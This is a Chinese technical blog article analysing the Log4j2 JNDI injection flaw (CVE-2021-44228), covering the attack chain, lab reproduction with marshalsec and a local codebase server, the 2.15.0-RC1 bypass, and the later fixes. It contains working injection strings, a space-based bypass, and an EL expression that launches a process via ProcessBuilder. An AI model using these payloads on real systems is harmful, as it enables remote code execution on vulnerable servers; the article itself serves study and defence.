Log4j2注入漏洞万字剖析-汇总收藏版(攻击步骤、漏洞原理、2.15.0-RC1绕过原理以及2.15.0、2.16.0修复原理)

2023-11-09

系列文章

2.15.0之前版漏洞相关文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

2.15.0版漏洞相关文章

Log4j2中2.15.0版存在的漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)

2.16.0版漏洞相关文章

Log4j2中2.16.0版中DOS攻击(CVE-2021-45105)的漏洞原理、复现步骤和修复方法(2.17.0修复原理)

一、前言

上周五(12月10日)应该是全世界程序员都不得安宁的一天。楼主早上一到公司就收到安全部分通知Log4j2出现严重安全漏洞,攻击者可以利用该漏洞在服务器上执行任意指令,从而操控服务器。于是一整天我们整个团队都在忙于修复Log4j2漏洞。从最开始修改JVM参数,到后来的2.15.0-RC1版本,再到最后的2.15.0发布版,简直是一波三折啊。当时我们还在和同事开玩笑,“今天全世界程序员都要加班了”。

漏洞修复完成后,作为一个程序对代码起码的尊重,楼主便开始通过各种途径查找本次漏洞相关各类资料,打算对漏洞做一个全面分析了解。抱着”知其然,且知其所以然“精神。于是楼主带着如下问题,开始了查找之旅。

1、Log4j2漏洞复现步骤(攻击步骤)

2、Log4j2漏洞的原理(为什么存在)

3、Log4j2漏洞中2.15.0-RC1版本为什么会被绕过

4、Log4j2最终修复方案(2.15.0)的原理是什么

通过大量的网络查找,楼主才终于弄清楚了上面的所有问题,同时也对本次漏洞有了深入的分析和理解。在这个过程中楼主发现一个问题,网上基本没有一篇文章能够把本次漏洞讲得清楚彻底。甚至网上通用的的复现步骤,在现在的Java主流版本中,根本就无法复现。因为该漏洞在java高版本和低版本下需要不同的攻击方式,才能达到攻击的目的。

于是楼主决定编写本文来和大家一起对该漏洞进行全面深入的剖析。本文将从如下基本方面进行讲解。

1、Log4j2漏洞的基本原理

2、Log4j2漏洞在Java高低版本中的攻击原理

3、Log4j2漏洞在Java高低版本中的攻击步骤

4、Log4j2漏洞在2.15.0-RC1中被绕过的原因

5、Log4j2最终修复方案(2.15.0)的原理

其实这个漏洞在11月底就被发现了,且Log4j2官方在12月5号就已经在开始修复该漏洞。

二、Log4j2漏洞原理

1、基础知识

A、什么是JNDI

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。

 参考:JNDI是什么_百度知道

简单来说:通过JNDI提供了"通过名称找到对应的对象"的规范定义,即SPI功能,实现则由具体的技术支持,如:LDAP,RMI,DNS,Database。比如在JNDI支持的数据源中,如下图(具体请参考:JNDI学习总结(一)——JNDI数据源的配置 - 孤傲苍狼 - 博客园),我们可以通过”jdbc/oracle“获取到Oracle对应的数据库连接池对象,并直接用于操作数据库即可。

B、什么是LDAP

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。

参考:LDAP概念和原理介绍 - WilburXu - 博客园

简单来说:LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。

C、什么是Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

参考:PSA: Log4Shell and the current state of JNDI injection – – Random ramblings, exploits and projects.

2、Java低版本原理(网上普遍攻击原理)

A、原理概述

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

B、恶意代码编写

我们一直在提到恶意的Class文件,那么恶意类的Java代码是怎样的呢?写个main函数?(给大家10秒钟时间想想)

如果大家初步理解了上面的原理概述就知道,直接写main函数不行,因为整个过程中Java并没有执行Class文件中的任何方法,只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下:

该模拟攻击代码比较简单,只是在mac电脑上打开文件管理器。

C、攻击流程与原理

接下来咱们一起分析下具体原理,整个攻击原理和流程如下图所示。

PS:由于源码涉及比较多,所以本文不会详细降解源码,只会大致梳理下关键调用链。其源码本身也比较简单,有兴趣的同学自己Debug跟一下,就能清楚的理解整个源码逻辑。

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(...)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(...) --解析出${}中的内容:jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(...) --处理解析出的内容,执行lookup

                > Interpolator.lookup(...) --根据jndi找到jndi的处理类

                        > JndiLookup.lookup(...)

                        > JndiManager.lookup(...)

                                > java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法

PS:后续步骤都是Java内部提供的Lookup能力,和Log4j2无关。

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(...) 请求并处理数据 (ldap中指定了javaCodeBase=)

                >Obj.decodeObject --解析到ldap结果,得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(...) --请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类。

这里就会导致我们攻击代码中的静态块中的内容被执行。

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

PS:留个问题,因为恶意Factory类会被加载和通过默认构造函数构造,那么我们是否可以通过在默认构造函数中执行恶意代码来实现攻击,而不是在static静态块中实现?

3、JDK高版本为何无效

A、哪些版本受影响

上述所有操作都需要JDK版本低于JDK 8u191才可以实现。而JDK8u191的版本在三年前就已经发布了。所有现在主流的服务器应该都基本是JDK高版本的。所以该攻击在主流版本上无法使用。

参考:PSA: Log4Shell and the current state of JNDI injection – – Random ramblings, exploits and projects.

B、为何失效

那为什么该攻击在高版本无效呢?我们一起来看下。

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。

所以高版本的Java的请求逻辑如下。即无法请求Codebase,整个攻击因此失效。

但是我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。接下来,我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。

C、手动修改trustURLCodebase实现攻击?

其实我们在模拟的时候完全可以通过System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");将其指定为true,这样我们就能够在高版本上执行攻击模拟。网上很多文章也确实是这样做的,但其基本没有解释这样做的原因。

如果是为了在高版本验证低版本的攻击步骤,那么这样做完全OK。但是对于分析Logj42漏洞原理来说,这样做就不太合适。因为分析的目的就是要知道高版本如何实现攻击。这样我们才能够找到具体的防护方法。

再者,如果你是攻击者,你该不会期望哪个服务器会主动把trustURLCodebase设置为true,等着你来攻击吧。

4、Java高版本原理

A、Lookup的基本功能

在开始分享高版本攻击原理前,我们需要先了解下Java底层Ldap的Lookup的基本功能。因为低版本攻击中,我们不太需要关注这一块,所以没有具体讲解。但高版本则需要依赖该功能达到攻击的目的。

当Java底层请求Ldap服务器后,Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion,以及一些额外参数。客户端获得这些参数之后主要做一件事情:构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。这个过程中需要注意如下几点:

1、javaFactory类需要是ObjectFactory的子类。

2、javaFactory有两个来源:来自Codebase(Ldap返回Codebase地址),或者来自本地(Ldap返回对应javaFactory的类地址)。

        对于来自Codebase的Factory:和低版本中的逻辑一样,我们需要请求Codebase获取其Class文件,然后加载该Factory类,并使用默认构造函数实例化出Factory实例。

        来自本地的Factory:则直接根据Ldap返回的路径(类限定符),通过Class.forName进行加载和实例化。

3、得到javaFactory实例后,我们需要构建通过javaFactory实例构建出JavaClassName指定的对象。

4、Log4j2通过javaFactory得到对应的对象之后,会调用其toString方法将其转换为字符串,然后用该字符串替换日志中的${...}内容,最后打印出来

源码:DirectoryManager.getObjectInstance

B、攻击者如何利用Ldap

1、JDK低版本如何利用Ldap实现攻击

通过上面低版本的原理分析可知,我们根据在Ldap构造了javaFactoryLocation指向Codebase,告诉客户端需要从远端Codebase去获取需要的javaFactory类。获取到之后,然后使其使用本地的类加载器加载远程恶意的javaFactory类的,然后其在加载的过程中执行恶意的static代码块,从而实现攻击。

2、JDK高版本如何利用Ldap实现攻击

我们知道高版本已经无法去Codebase获取javaFactory的Class文件,所以我们想通过让客户端加载和实例化我们恶意构建的javaFactory来实现攻击是不可能的了。

但是,我们还可以走本地javaFactory这条路。即让Ldap实例化一个本地存在的javaFacotry,并用该javaFactory实例化一个本地存在的类。因此我们需要找到本地哪些javaFactory存在一些可以被利用的漏洞。

C、JDK高版本的具体攻击原理

高版本攻击原理参考:Exploiting JNDI Injections in Java | Veracode blog

参考文章中提到了tomcat携带的org.apache.naming.factory.BeanFactory类就是一个存在风险的ObjectFactory子类。通过该Factory我们可以通过默认构造函数实例化任意一个类,并调用其任意的只有一个String入参的公共方法,且其方法名可以不用是标准setter的名称,而可以是任意名称。因为我们可以通过forceString来制定某个String变量的setter方法名称。(具体逻辑大家自己看下BeanFactory.getObjectInstance的源码即可)

 基于此能力,我们就可利用javax.el.ELProcessor类,因为其有个eval方法,只有一个Stirng入参。其可以执行EL表达式,从而执行任意指令。

比如我们让其执行如下EL表达式,就能够达到让其在mac下执行”open .“指令的功能。

\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','.']).start()\")

所以我们只需要Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory,javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码,forceString="x=eval"。

这样客户端拿到指令之后就会做如下操作:

1、直接在本地加载和实例化BeanFactory工厂,得到BeanFacory实例

2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor,得到ELProcessor实例

3、Ldap告诉BeanFactory,ELProcessor有一个string类型的变量x(实际没有),其内容为恶意代码块,且该变量的setter方法名为eval。

4、BeanFactory就会执行ELProcessor实例的eval方法,且入参为恶意代码块。

至此我们就达到执行让ELProcessor通过eval执行恶意代码的目的,从而实现远程攻击。

整个攻击流程如下:

Log4j2漏洞的攻击原理就介绍到这里。接下来我们一起来实战下基于Log4j2漏洞如何实现对服务器的攻击。

PS:给大家留个小问题,上述基于ELProcessor的攻击方法,有什么限制呢?

三、Log4j2漏洞复现步骤(攻击方法)

1、基础环境说明与搭建

通过上述原理分析可知,我们主要涉及到三个系统:被攻击服务、恶意Ldap服务和恶意Codebase服务。

A、被攻击服务搭建

这个服务比较简单,只需部署一个简单的web工程,然后要引入log4j2(2.15.0以下版本)打印日志。然后编写一个简单的Controller将接口传入的参数通过日志打印出来即可。

B、恶意Ldap服务搭建

搭建Ldap服务有两个途径:自己使用ldapsdk的jar包实现一个ldap服务,或者使用现成的marshalsec实现。

这里我们选择使用现成的marshalsec实现。

首先我们从github上克隆该代码(https://github.com/mbechler/marshalsec

然后再工程根目录下执行mvn clean package -DskipTests对进行编译打包。

完成之后执行如下指令,在9999端口上启动该ldap服务:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999

开启之后会看到如下日志。

C、恶意Codebase服务搭建

这个服务比较简单,只需要在请求的时候,能够具体返回该请求对应的Class文件即可。

于是我们编写恶意代码Test.java,然后使用javac将其编译成Class文件。

然后我们在该目录执行python3 -m http.server 8888,在端口8888上基于该目录启动一个简单的http服务。当我们访问http://localhost:8888/Test.class的时候,该服务就会返回该目录下对应的Class文件。

2、Java低版本的复现步骤

现在我们开始执行恶意攻击。我们调用attack接口传入如下参数:

接着我们在Ldap的服务端可以看到如下日志,其表示其告诉客户端到Codebase去获取它需要的Class文件。

同时在Codebase的服务端可以看到如下日志。 标记了被攻击服务端来请求Test.class的记录和状态。

 然后电脑就会弹出文件管理器。至此攻击完成。

3、Java高版本的复现步骤

通过攻击原理我们知道,高版本攻击我们不依赖Codebase服务。但是我们需要Ldap服务器返回ELProcessor相关的类。所以我们需要对marshalsec源码进行修改。然后重新编译打包再启动服务。

因为咱们攻击依赖的ELProcessor和BeanFactory存在Tomcat包中。所以我们需要在marshalsec工程中引入Tomcat依赖。

 然后需要将LDAPRefServer类中的方法sendResult修改为如下内容:

然后我们通过mvn clean package -DskipTests对其进行重新编译打包。并通过java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999启动即可。(其实http://localhost:8888/#Test是Codebase地址我们没有使用,但是因为我们没有修改启动逻辑,所以仍然需要传递)

一切就绪之后,我们通过调用attack接口实现攻击了。

执行完成后,同样电脑就会弹出文件管理器。至此攻击完成。

四、Log4j2漏洞修复原理

1、修复原理(官方如何修复)

其实查看Log4j2最新提交的代码(https://github.com/apache/logging-log4j2),咱们很容易就能看到其修复方法。

官方主要通过两个途径来修复该问题:新增jndi开关(默认关闭)和新增jndi相关域名、协议和Class白名单。

A、新增消息的Lookup开关(默认关闭)

在消息处理类MessagePatternConverter中增加了Lookup开关,通过lookups参数来控制。默认为false。 即默认消息中不解析${}配置。在2.15.0之前的版本,默认MessagePatternConverter会对消息进行lookup操作(具体请参考2.14.1的MessagePatternConverter类实现)。

但是我们可以通过在日志patter中新增lookups来开启消息中的lookup功能。

B、新增白名单

如果使用者通过配置lookups主动开启了消息查找功能。官方也为我们提供了另外一道屏障来解决该注入漏洞。官方使用了一个比较简单的办法,即给协议、class和域名都添加白名单。这样只要使用者合理的使用都不会有问题。

默认白名单的协议:JAVA、LDAP、LDAPS

默认白名单的域名:localhost

默认白名单支持的类:基本类型对应的对象。

 在执行lookup的时候,其会校验对应的白名单。

官方修复方案的介绍就到这里。这里我们只讲解了核心代码,具体逻辑大家可以下载Log4j2的源码,查看从5号开始的改动即可。 

PS:留个问题,为什么我们控制好了Jndi就可以解决由于Ldap导致的漏洞。

2、2.15.0-RC1版本为何会被绕过

这个版本的绕过和其实很有意思。原因是因为在JndiManager.lookup的方法中,当执行各类白名单过滤操作中,如果抛出异常。在RC1的版本中,其没有做任何处理,导致只要抛出异常就能够正常的执行后续的lookup逻辑。从而绕过了白名单检测。

于是后续做了修正,只要抛出异常就直接返回null。

那么我们可以如何绕过呢? 这里我们参考了文章安全漏洞之Log4j2漏洞复现绕过分析。通过URI中不进行URL编码会报报错URISyntaxException,在URL中添加一个空格即可触发,比如:${jndi:ldap://127.0.0.1:1389/ badClassName}。如下是对URI构造函数做空格测试的结果: 

虽然对空格做编码导致异常,但是lookup时候会去掉这个空格。所以异常之后后续的lookup也能够正常执行。

3、JVM参数formatMsgNoLookups的修复原理(不建议)

这个比较简单,就是通过JVM设置一个参数formatMsgNoLookups=true。让Log4j2在处理${}消息的时候,不执行lookup操作。

 其实这种方式也是可以解决漏洞的。但是存在一个问题:如果服务本身就需要利用Log4j2的jndi功能。配置参数后就无法使用。所以作为官方解决方案来说,该方法还是存在不妥之处。

于是官方最终采用了jdni开关+白名单的方式来解决了该问题。

4、2.16.0发布与解决问题

这是因为在Thread Context Map场景下,也可以通过ldap方式实现注入。于是官方考虑到除此之后可能还有其他类似潜在漏洞,于是决定将消息中的Lookup功能去掉了,即在消息中填${}占位符,其不会在解析,也就不会执行Jndi相关的任何逻辑了。

 源码:MessagePatternConverter

至此Log4j2漏洞的深入剖析就和大家分享完了。如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。

五、惯例

如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。

如果你对本文有任何疑问或者高见,欢迎添加公众号lifeofcoder共同交流探讨(添加公众号可以获得楼主最新博文推送以及”Java高级架构“上10G视频和图文资料哦)。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Log4j2注入漏洞万字剖析-汇总收藏版(攻击步骤、漏洞原理、2.15.0-RC1绕过原理以及2.15.0、2.16.0修复原理) 的相关文章

  • JMeter 批量接口测试

    一 背景 最近在进行某中台的接口测试准备 发现接口数量非常多 有6 70个 而且每个接口都有大量的参数并且需要进行各种参数验证来测试接口是否能够正确返回响应值 想了几种方案后 决定尝试使用JMeter的csv读取来实现批量的接口测试 二 脚
  • 接口测试之Fiddler弱网测试

    前言 目前市面上的APP功能越来越丰富 移动端测试也越显为重要 因为用户在网速慢的情况下 你的网站 软件 总能出现各种各样的问题 请不要忽略这一点 针对在不同的网络情况下 接下来 本篇要讲述的就是在通过fiddler对APP进行模拟弱网测试
  • Linux终端常见用法总结

    熟悉Linux终端的基础用法和常见技巧可以极大提高运维及开发人员的工作效率 笔者结合自身学习实践 总结以下终端用法供同行交流学习 常 见 用 法 1 快捷键 1 1 Alt 在光标位置插入上一次执行命令的最后一个参数 1 2 Ctrl R
  • 测试开发必知:有Tomcat,为什么还要Nginx?

    只用Tomcat 不用Nginx搭建Web服务 行不行 我曾经提出的愚蠢问题 今天详细给自己解释下 为什么必须用Nginx 不用Nginx 只用Tomcat的Http请求流程 浏览器处理一个Http请求时 会首先通过DNS服务器找到域名关联
  • 微信小程序的自动化测试框架

    微信发布了小程序的自动化测试框架Minium 提供了多种运行验证方式 其特点 支持一套脚本 iOS Android 模拟器 三端运行 提供丰富的页面跳转方式 看不到也能去得到 可以获取和设置小程序页面数据 让测试不止点点点 可以直接触发小程
  • LogManager.getLogger() 无法确定 Java 11 上的类名 [重复]

    这个问题在这里已经有答案了 我正在使用 log4j2 2 11 1 和 Java 11 并尝试获取Logger对象使用 private static final Logger LOG LogManager getLogger 进口自log4
  • Web自动化测试 —— cookie复用

    一 cookie简介 cookie是一些数据 存储于用户电脑的文本文件中 当web服务器想浏览器发送web页面时 在链接关闭后 服务端不会记录用户信息 二 为什么要使用Cookie自动化登录 复用浏览器仍然在每次用例开始都需要人为介入 若用
  • 一文让你快速写出高效的软件测试用例

    前言 编写测试用例的目的就是确保测试过程全面高效 有据可查 但要编写出高效的测试用例 需要搞清楚什么是测试用例 以及如何编写出高效的测试用例 接下来将从以下几个部分来进行展开 1 什么是测试用例 2 如何编写测试用例 3 软件测试学习资源分
  • 外包干了3个月,技术退步明显。。。。。

    先说一下自己的情况 本科生 20年通过校招进入广州某软件公司 干了接近3年的 功能测试 今年年初 感觉自己不能够在这样下去了 长时间呆在一个舒适的环境会让一个人堕落 而我已经在一个企业干了3年的功能测试 已经让我变得不思进取 谈了2年的女朋
  • 当我使用 Logback 时,ElasticSearch 错误 StatusLogger Log4j2 找不到日志记录实现

    我正在使用 logback 来登录我的应用程序
  • log4j2 是否有一个适配器可以在 slf4j 上工作?

    我有一个使用 log4j2 的第三方库 elasticsearch 5 x 我的应用程序使用 slf4j 是否有适用于 log4j 版本 2 的适配器 类似于版本 1 适配器 log4j over slf4j 只是为了澄清 我不想实际使用
  • 在 aws lambda 上使用 Log4J2 进行日志记录 - 未找到类

    我正在尝试使用 Log4J2 日志记录 如 AWS 文档中所述 https docs aws amazon com lambda latest dg java logging html java wt logging using log4j
  • 文件权限 log4j2

    I using log4j2 我的配置如下所示
  • log4j2 未检测到自定义附加程序插件

    我正在尝试为 log4j 2 0 创建自定义附加程序 但在让我的 log4j 配置识别附加程序时遇到问题 我知道 log4j 2 0 不支持配置属性中的包 所以我按照建议尝试了here https stackoverflow com que
  • JUL 适配器不适用于 Jersey

    我正在尝试使用七月适配器将 Java Util Logging 委托给 Log4j2 更准确地说 任何使用 JUL 生成日志的第三方库都应该委托给 Log4j2 作为一个简单的练习 我创建了一个使用库的独立应用程序 我创建这个库是为了测试目
  • 如何组织 Windows Phone 代码库以同时针对 7.x 和 8 平台

    我接手了一个Windows 手机该项目之前针对的是 WP 7 1 平台 随着最近宣布的新平台 它也应该针对 WP 8 My VS 2010解决方案包含几个项目 数据访问 模型 测试和 WP7 客户端应用程序 我正在思考如何包含对 WP8 的
  • 不同日志文件中不同级别的日志

    我们如何编写一个简单的 log4j2 xml 文件 将不同级别的日志放入不同的文件中 例如 我们有错误日志和任何信息日志 我需要将所有错误日志消息推送到一个日志文件中 并将所有信息日志消息推送到另一个文件中 我希望 InfoControll
  • 无法让 Karaf 4.2.6 使用 log4j2 和 JsonLayout 作为布局类型进行日志记录

    我一整天都在做这件事 但在尝试了这么多组合后却没有让它发挥作用 归根结底 我正在寻找从 Karaf 获取 JSON 日志记录的明确步骤列表 我什至浏览了 Maven Karaf 插件源代码 试图解决这个问题 尽管也许我看的还不够远 我正在使
  • 配置 logback 以遵循 Java 配置,即 Logback 的纯 Java 配置

    我只是不喜欢 Logback 的 XML 或 Groovy 配置 更喜欢用 Java 进行配置 这也是因为我将在初始化后的不同时间在运行时更改配置 似乎对 Logback 进行 Java 配置的唯一方法是进行某种初始化劫持根追加器 http
  • Log4j2 ThreadContext 映射不适用于parallelStream()

    我有以下示例代码 public class Test static System setProperty isThreadContextMapInheritable true private static final Logger LOGG

随机推荐

  • 【区块链】Python开发EOS机器人与WAX链游脚本常用工具

    前言 众所周知 开发EOS机器人与WAX链游脚本 我们都需要调用eosio chain api https developers eos io manuals eos latest nodeos plugins chain api plug
  • mybatis多表联查sql用法示例

    用到sql变量 sql复用
  • ssm打印sql如何开启_ssm环境下配置log4j打印mybatis的sql语句

    首先附上官网的说明文档 mybatis Logging 环境spring4 3 0 springmvc4 3 0 mybatis3 4 0 按官方文档的说明 1 SLF4J 2 Apache Commons Logging 3 Log4j
  • 使用invoke方法解决跨线程访问的问题

    C 中禁止跨线程直接访问控件 InvokeRequired是为了解决这个问题而产生的 当一个控件的InvokeRequired属性值为真时 说明有一个创建它以外的线程想访问它 获取一个值 该值指示调用方在对控件进行方法调用时是否必须调用 I
  • js+bootstrap+jquery+vue实现房贷计算器

    代码链接 loan 使用vue js html css实现房贷的计算 版权声明 本文为CSDN博主 小样还想跑 的原创文章 遵循CC 4 0 BY SA版权协议 转载请附上原文出处链接及本声明
  • 23 种设计模式详解(全23种)

    设计模式的分类 总体来说设计模式分为三大类 创建型模式 共五种 工厂方法模式 抽象工厂模式 单例模式 建造者模式 原型模式 结构型模式 共七种 适配器模式 装饰器模式 代理模式 外观模式 桥接模式 组合模式 享元模式 行为型模式 共十一种
  • 人手一份核武器:Android手机装Kali Linux

    首先这是安卓手机的专属工具 因为Android基于Linux 所以就有了得天独厚的优势 1 先下载好Linux Deploy 前提是本手机已root 2 按下图配置 不过有地方需要说明 Distribute Suite已经改为sana 但无
  • Windows Server 2012 R2 设置 smtp 服务器

    Windows Server 2012 2012 R2 安装和配置 SMTP 服务器 安装 SMTP 服务器 以下是安装 SMTP 服务器功能的步骤 打开 服务器管理器 单击键盘上的 Windows 按钮 输入 服务器管理器 在 结果 窗口
  • FW-1设备配置命令

    DCFW 1800 config hostname FW 1 FW 1 config ip vrouter trust vr FW 1 config vrouter ip route 0 0 0 0 0 202 11 33 26 FW 1
  • cmd创建用户并初始化新用户桌面

    author skate time 2013 12 20 功能 在win2003上创建用户 并初始化新用户的桌面 echo InternetShortcut gt gt MysqlTool url echo URL C Program Fi
  • Qt之pro配置多个子工程/子模块

    简述 进行Qt项目开发的时候 尤其是大型项目 经常涉及多工程 多模块问题 其主要思想还是模块化 目的是为了降低程序复杂度 使程序设计 调试和维护等操作简单化 简述 配置 效果 多工程 多模块 更多参考 配置 效果 多工程 如果需要管理多工程
  • JavaMap集合&Stream流

    1 Map集合 1 1Map集合概述和特点 Map集合概述 interface Map
  • Python-Thread(通俗易懂)

    此类表示在单独的控制线程中运行的活动 有两种方法可以指定该活动 一是将可调用对象传递给构造函数 二是通过覆盖子类中的run 方法 如果你对线程不太理解 我们可以打个比方 把线程数看作车辆数 我们来完成一个简单的客运运输工作 以下为了方便理解
  • 第8届Python编程挑战赛初赛真题剖析-2022年全国青少年信息素养大赛

    导读 超平老师计划推出 全国青少年信息素养大赛Python编程真题解析 50讲 这是超平老师解读Python编程挑战赛系列的第1讲 全国青少年信息素养大赛 原全国青少年电子信息智能创新大赛 是 世界机器人大会青少年机器人设计与信息素养大赛
  • VC++ MapWinGis篇(二)

    添加高德图层 ArcGisProvider h pragma once include BaseProvider h class ArcGisBaseProvider public BaseProvider public ArcGisBas
  • Java RMI 远程代码执行漏洞

    0x01 漏洞描述 Java RMI 远程代码执行漏洞 Java RMI服务是远程方法调用 是J2SE的一部分 能够让程序员开发出基于JAVA的分布式应用 一个RMI对象是一个远程Java对象 可以从另一个Java虚拟机上 甚至跨过网络 调
  • 这篇文章带你了解sql语句是怎么执行的

    一条sql语句是怎么执行的 一 mysql架构分析 二 语句分析 2 1 查询语句 2 2 更新语句 三 总结 mysql有各种版本的架构图 但基本上都可以分为Server层和存储引擎层 一 mysql架构分析 下面是mysql的一个简要架
  • web压测工具http_load原理分析

    01 前言 http load是一款测试web服务器性能的开源工具 从下面的网址可以下载到最新版本的http load http www acme com software http load 这个软件一直在保持着更新 不像webbench
  • el-tree组件展示节点过多时造成页面卡顿、奔溃的解决办法

    解决el tree组件展示节点过多时造成页面卡顿 奔溃 前几天测试提了个BUG 文件列表展示5w个文件页面会卡顿甚至奔溃 项目用的是vue element ui框架 我是使用el tree进行渲染文件列表的 参考网上使用virtual sc
  • Log4j2注入漏洞万字剖析-汇总收藏版(攻击步骤、漏洞原理、2.15.0-RC1绕过原理以及2.15.0、2.16.0修复原理)

    系列文章 2 15 0之前版漏洞相关文章 Log4j2注入漏洞 CVE 2021 44228 万字深度剖析 一 开篇与基础知识 Log4j2注入漏洞 CVE 2021 44228 万字深度剖析 二 漏洞原理 Log4j2注入漏洞 CVE 2